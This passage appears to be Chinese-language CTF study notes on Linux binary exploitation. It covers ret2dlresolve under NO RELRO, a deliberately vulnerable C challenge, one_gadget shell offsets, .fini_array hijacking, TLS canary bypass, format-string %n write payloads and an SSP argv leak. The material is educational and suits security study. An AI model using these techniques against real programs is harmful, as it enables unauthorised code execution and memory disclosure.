  Elf64_Xword	r_info;			/* Relocation type and symbol index */
  Elf64_Sxword	r_addend;		/* Addend */
} Elf64_Rela;

至於為何 strtab + sym->st_name
見下方

LOAD:00000000004004D0 ; ELF String Table
LOAD:00000000004004D0 unk_4004D0      db    0                 ; DATA XREF: LOAD:0000000000400350↑o
LOAD:00000000004004D0                                         ; LOAD:0000000000400368↑o ...
LOAD:00000000004004D1 aLibcSo6        db 'libc.so.6',0        ; DATA XREF: LOAD:00000000004005B8↓o
LOAD:00000000004004DB aIsoc99Scanf    db '__isoc99_scanf',0   ; DATA XREF: LOAD:0000000000400470↑o
LOAD:00000000004004EA aReadChk        db '__read_chk',0       ; DATA XREF: LOAD:0000000000400368↑o
LOAD:00000000004004F5 aSignal         db 'signal',0           ; DATA XREF: LOAD:0000000000400410↑o
LOAD:00000000004004FC aPuts           db 'puts',0             ; DATA XREF: LOAD:0000000000400380↑o
LOAD:0000000000400501 aStackChkFail   db '__stack_chk_fail',0 ; DATA XREF: LOAD:0000000000400398↑o
LOAD:0000000000400512 aRealloc        db 'realloc',0          ; DATA XREF: LOAD:0000000000400440↑o
LOAD:000000000040051A aStdin          db 'stdin',0            ; DATA XREF: LOAD:00000000004004A0↑o
LOAD:0000000000400520 aExit           db '_exit',0            ; DATA XREF: LOAD:0000000000400350↑o
LOAD:0000000000400526 aPrintf         db 'printf',0           ; DATA XREF: LOAD:00000000004003B0↑o
LOAD:000000000040052D aStdout         db 'stdout',0           ; DATA XREF: LOAD:0000000000400488↑o
LOAD:0000000000400534 aStderr         db 'stderr',0           ; DATA XREF: LOAD:00000000004004B8↑o
LOAD:000000000040053B aAlarm          db 'alarm',0            ; DATA XREF: LOAD:00000000004003C8↑o
LOAD:0000000000400541 aSetvbuf        db 'setvbuf',0          ; DATA XREF: LOAD:0000000000400458↑o
LOAD:0000000000400549 aAtoll          db 'atoll',0            ; DATA XREF: LOAD:00000000004003F8↑o
LOAD:000000000040054F aLibcStartMain  db '__libc_start_main',0
LOAD:000000000040054F                                         ; DATA XREF: LOAD:00000000004003E0↑o
LOAD:0000000000400561 aGlibc27        db 'GLIBC_2.7',0        ; DATA XREF: LOAD:00000000004005C8↓o
LOAD:000000000040056B aGlibc24        db 'GLIBC_2.4',0        ; DATA XREF: LOAD:00000000004005D8↓o
LOAD:0000000000400575 aGlibc225       db 'GLIBC_2.2.5',0      ; DATA XREF: LOAD:00000000004005E8↓o
LOAD:0000000000400581 aGmonStart      db '__gmon_start__',0   ; DATA XREF: LOAD:0000000000400428↑o

string table位於 0x4004D0
printf在string table的位置是 0x400526

去看 symbol table
offset aPrintf -> 0x400526
offset unk_4004D0 -> 0x4004D0

LOAD:0000000000400338 ; ELF Symbol Table
LOAD:0000000000400338                 Elf64_Sym <0>
LOAD:0000000000400350                 Elf64_Sym <offset aExit - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "_exit"
LOAD:0000000000400368                 Elf64_Sym <offset aReadChk - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "__read_chk"
LOAD:0000000000400380                 Elf64_Sym <offset aPuts - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "puts"
LOAD:0000000000400398                 Elf64_Sym <offset aStackChkFail - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "__stack_chk_fail"
LOAD:00000000004003B0                 Elf64_Sym <offset aPrintf - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "printf"
LOAD:00000000004003C8                 Elf64_Sym <offset aAlarm - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "alarm"
LOAD:00000000004003E0                 Elf64_Sym <offset aLibcStartMain - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "__libc_start_main"
LOAD:00000000004003F8                 Elf64_Sym <offset aAtoll - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "atoll"
LOAD:0000000000400410                 Elf64_Sym <offset aSignal - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "signal"
LOAD:0000000000400428                 Elf64_Sym <offset aGmonStart - offset unk_4004D0, 20h, 0, 0, 0, 0> ; "__gmon_start__"
LOAD:0000000000400440                 Elf64_Sym <offset aRealloc - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "realloc"
LOAD:0000000000400458                 Elf64_Sym <offset aSetvbuf - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "setvbuf"
LOAD:0000000000400470                 Elf64_Sym <offset aIsoc99Scanf - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "__isoc99_scanf"
LOAD:0000000000400488                 Elf64_Sym <offset aStdout - offset unk_4004D0, 11h, 0, 18h, \ ; "stdout"
LOAD:0000000000400488                            offset __bss_start, 8>
LOAD:00000000004004A0                 Elf64_Sym <offset aStdin - offset unk_4004D0, 11h, 0, 18h, \ ; "stdin"
LOAD:00000000004004A0                            offset stdin@@GLIBC_2_2_5, 8>
LOAD:00000000004004B8                 Elf64_Sym <offset aStderr - offset unk_4004D0, 11h, 0, 18h, \ ; "stderr"
LOAD:00000000004004B8                            offset stderr@@GLIBC_2_2_5, 8>

所以 sym = 0x56
0x4004D0 + 0x56 = 0x400526
也就是 st_name

總而言之,經過了蒐集各個table等等的資訊,修復GOT的位置
最後成功填入function libc address,就是fixup在做的事情

利用 64 bits NO RELRO

No RELRO - .dynamic 跟 GOT 都可以寫
Partial RELRO - .dynamic不可寫,GOT可以寫
Full RELRO - .dynamic 跟 GOT 都不可寫,函式的地址在程式開始執行之前就會都先填好

開始講,怎麼樣利用dl_runtime_resolve這個機制
首先我們說到他會call dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL)

而會修復成甚麼東西跟第一個參數 strtab + sym->st_name 有很大的關係

l_info[DT_STRTAB] -> .dynamic DT_STRTAB pointer
如果我偽造一張string table在其他地方,並且我們去修改
DT_STRTAB pointer指向位置成我們的假table,就可以在讓我們實際修出來的是system或execve之類的(NO RELRO .dynamic可寫,所以可以動)

// gcc chal.c -o chal -fno-stack-protector -no-pie -z noexecstack -z norelro

#include <stdio.h>

void vuln()
{
    asm("pop %rdi ; ret");
    asm("pop %rsi ; ret");
    asm("pop %rdx ; ret");
}

int main()
{
    char buf[128] = {0};
    read(0, buf, 0x1000);

    return 0;
}

ret2vdso

virtual dynamic shared object
早期 32 bits的時候 OS 會透過 interrupt的方式在usermode去處發syscall
https://en.wikipedia.org/wiki/Call_gate_(Intel)

中斷號 0x80 就是syscall
也就是int 0x80

但是用 int 0x80 速度有點慢,所以出現了快速syscall

32 位元的處理器 (即 IA32): sysenter 和 sysexit
64 位元的處理器 (即 x86_64): syscall 和 sysret

然而在兼容性上出了問題,所以出現了vsyscall,具體怎麼syscall由kernel決定,vsyscall實現在vdso中實現

memory segment

naup@naup-virtual-machine:~/Desktop/NHNC-CTF-challege/slime_revenge_revenge/solver$ cat /proc/self/maps | grep vdso
7ffcf2bcf000-7ffcf2bd1000 r-xp 00000000 00:00 0                          [vdso]
naup@naup-virtual-machine:~/Desktop/NHNC-CTF-challege/slime_revenge_revenge/solver$ cat /proc/self/maps | grep vsyscall
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]

vdso ASLR

先看x86的vdso ASLR,基本上沒有很多種可能

reference

https://xz.aliyun.com/t/5236?time__1311=n4%2BxnieWw4yDRDRxQqGNDQa4C3xBll7B1rAoD

https://blog.csdn.net/Rong_Toa/article/details/115299552

One gadget

  • 下載
sudo apt -y install ruby
sudo gem install one_gadget
  • 使用
one_gadget libc-2.23.so

libc中有些one gadget只要滿足條件跳過去就可以get shell(用one gadget看到的地址要加上libc base)

$ one_gadget libc-2.23.so

0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL                              

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

demo

https://hackmd.io/@naup96321/HkWFe5-SC

.init_array & .fini_array hijack

image

https://nocbtm.github.io/2020/02/20/–-fini-array段劫持/#前言

https://blog.csdn.net/SmalOSnail/article/details/106005946

TLS bypass canary

TLS(Thread Local Storage)

TLS 是個讓每個執行緒都可以有一份自己的資料的機制

每個線程可以獨立的修改自己的副本,而不會影響到其他的線程,造成race condition等問題

就好像一個圖書館有很多書(全局變量),學生(線程)可以去拿書,但可能會造成資源衝突,所以做法是複製圖書館的書,存到自己的櫥櫃(TLS),這樣就可以避免衝突了

TLS誤區

然而若global variable本意是要讓線程間共享,那TLS就不適用了,仍然需要mutex等做同步

TLS用途

  • 執行緒內共享變量:在一個執行緒內的不同方法之間共享變量,而不需要通過參數傳遞。TLS允許每個執行緒持有自己的變量副本,這樣可以在方法之間直接訪問這些變量。

  • 每個執行緒獨立實例:在某些情況下,每個執行緒可能需要一個獨立的實例來存儲特定的數據。例如,資料庫連接對象、用戶會話信息等。使用TLS可以確保每個執行緒擁有自己的實例,從而避免執行緒之間的衝突。

  • 累加操作優化:對於一些全域變量的累加操作,傳統上會使用互斥鎖(mutex)來避免race condition。但使用TLS,可以在每個執行緒中局部累加,然後在某個時機將結果匯總到全域變量。這種做法可以減少鎖的使用,提高程式的並發性能。

  • 執行緒安全的全域變量:當需要使用全域變量但又希望執行緒安全時,TLS可以幫助實現這一點。每個執行緒使用自己的本地副本來存儲數據,而不直接訪問全域變量,從而避免race condition。

TLS & canary

首先canary常被儲存在TLS中

多線程中的canary在每個線程都是被獨立存在TLS中,並由TCB管理,並在線程運行中拿出插到stack上(獨立的canary值)

然而TLS在stack高位,通過overflow可以覆蓋到TLS上的canary
條件是:

  • 創建一個線程,並在線程中overflow
  • 通常需求overflow的長度高達一個page

條件很嚴苛,但某些失誤導致使用者可以修改到stack_guard段的內容

struct

攻擊前須要先了解兩個struct

struct pthread

#include <stddef.h> // 为了使用 size_t

/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
    // 定义线程控制块头部结构体
    // 可以根据实际情况进行定义
    // 例如:线程ID、状态信息等
    int thread_id;
    // 其他相关信息
} tcbhead_t;/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
    /* This overlaps the TCB as used for TLS without threads (see tls.h).  */
    tcbhead_t header; // 可能与TLS相关的头部信息
#else
    struct {
        // 更复杂的结构体定义
        // 可能包含与TLS相关的更多详细信息
        // ...
    } header;
#endif
    /* Extra padding for alignment and potential future use */
    void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
};

tcbhead_t

typedef struct {
    void *tcb;            /* 指向线程控制块(TCB)的指针 */
    dtv_t *dtv;           /* 线程特定数据的指针 */
    void *self;           /* 指向线程描述符的指针 */
    int multiple_threads; /* 标识是否有多个线程 */
    int gscope_flag;      /* 全局作用域标志 */
    uintptr_t sysinfo;    /* 系统信息 */
    uintptr_t stack_guard;/* 堆栈保护 */
    uintptr_t pointer_guard; /* 指针保护 */

    /* 其他可能的字段... */
} tcbhead_t;

stack_guard那塊存放的就是canary的值

TLScanary攻擊流程

  • 定位到canary存放的位置
  • 蓋掉canary
  • bypass !

https://liupzmin.com/2019/09/30/concurrence/tls-summary/

題目

DASCTF X CBCTF 2023 binding

https://xz.aliyun.com/t/13074?time__1311=GqmhBKqIxGxBMx%2BoEYqi%3D5G%3D8itr4vYx

format string

有哪些format string

fmt 意思
%d 讀取十進制數值(存的值當指標去讀)
%x 讀取十六進制數值(存的值當指標去讀)
%s 讀取字串符數值(存的值當指標去讀)
%p 直接讀取

讀取

printf參數依序為
rdi → rsi → rdx → rcx → r8 → r9 → rsp -> rsp+0x8 -> rsp+0x10

printf("%d%c%s", a,  b,  c);
          |      |   |   |
         rdi    rsi rdx rcx

使用 %x$y 直接指定第幾個參數,這邊的 x 是第幾個參數,y 則是要使用的方法

%2$p          // 印出 rdx (第 2 個參數)
%3$n          // 寫入 rcx (第 3 個參數)
#include <stdio.h> int main() { char buffer[20]; int a=12; int b=10; gets(buffer); printf(buffer,a,b); return 0; }

輸入%p %p %p %p %p %p %p
image

image

image

輸出分別是 rsi → rdx → rcx → r8 → r9 → rsp -> rsp+0x8 -> rsp+0x10

寫入

printf可以使用%n來寫入指定位置(跟%s很像,只是變成寫入)

rsp + 0x10 -> adress -> %n寫入的位置
format string bytes
%lln 8 bytes
%n 4 bytes
%hn 2 bytes
%hhn 1 byte

%n

會將printf輸出過的字元數量寫入指定位置

寫入字元數

寫入字元數字元數 % 256*(bytes數)

ex:若printf 20個字元,會寫入20 % 256 = 20
若printf 258個字元,會寫入258 % 256 = 2

%c

可以透過%c 來指定要寫入的大小

%<寫入幾個字元>c%<位置>$hhn

ex: 寫入0x1234

第一次: %52c%<位置>$hhn (0x34)

第二次: %222c%?<位置>$hhn (0x12) -> 52+222=274、274-256=0x12

(256-上一次寫入的值+這次寫入的值)%256

舉例

rsp        -> %65c%8$h 
rsp+0x8    -> 000000hn
rsp+0x10   -> 0x601040 -> "A"寫入
rsp+0x18   -> 00000000

argv chain

argv chain 是利用 stack 上的 argv 來達成任意寫入的功能

舉例

0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb80 --> 0x72662f656d6f682f
(rsp+0x58)          (rsp+0x128)         (rsp+0x360)  

argv 0

0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb80 --> 0x72662f656d6f682f

argv 1

0x7fffffffe948 --> 0x7fffffffeb80 --> 0x72662f656d6f682f

argv 2

0x7fffffffeb80 --> 0x72662f656d6f682f

我想把最後的0x72662f656d6f682f寫成0xdeadbeef並把東西寫道這上面

開始構造

首先我可以透過argv 1改到 0x7fffffffeb80這個位址

rsi → rdx → rcx → r8 → r9 → rsp -> rsp+0x8 -> rsp+0x10

rsp+(n6)×0x8

rsp+0x128 -> 43

所以

%48879c%43$hn

會讓最後2 bytes變成beef

argv 0

0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb80 --> 0x72662f656d6fbeef

argv 1

0x7fffffffe948 --> 0x7fffffffeb80 --> 0x72662f656d6fbeef

argv 2

0x7fffffffeb80 --> 0x72662f656d6fbeef

SSP(Stack Smashing Protect) leak

https://elixir.bootlin.com/glibc/glibc-2.23.90/source/debug/stack_chk_fail.c

void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

https://elixir.bootlin.com/glibc/glibc-2.23.90/source/debug/fortify_fail.c#L26

void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
		    msg, __libc_argv[0] ?: "<unknown>");
}

如果觸發了stack smashing detect的話,可以觀察到 ./demo來自於argv 0存的指標指向的值,所以如果我可以蓋掉argv0就可以任意讀了
image

暴力送了 b'A'*2000
發現變成segement default

0x728e0a65f82d <getenv+173>    cmp    r12w, word ptr [rbx]
   0x728e0a65f831 <getenv+177>    jne    getenv+160               

去看了一下rbx是啥
變成了RBX 0x4141414141414141 ('AAAAAAAA')
導致pointer指向錯誤
確實可以一次任意讀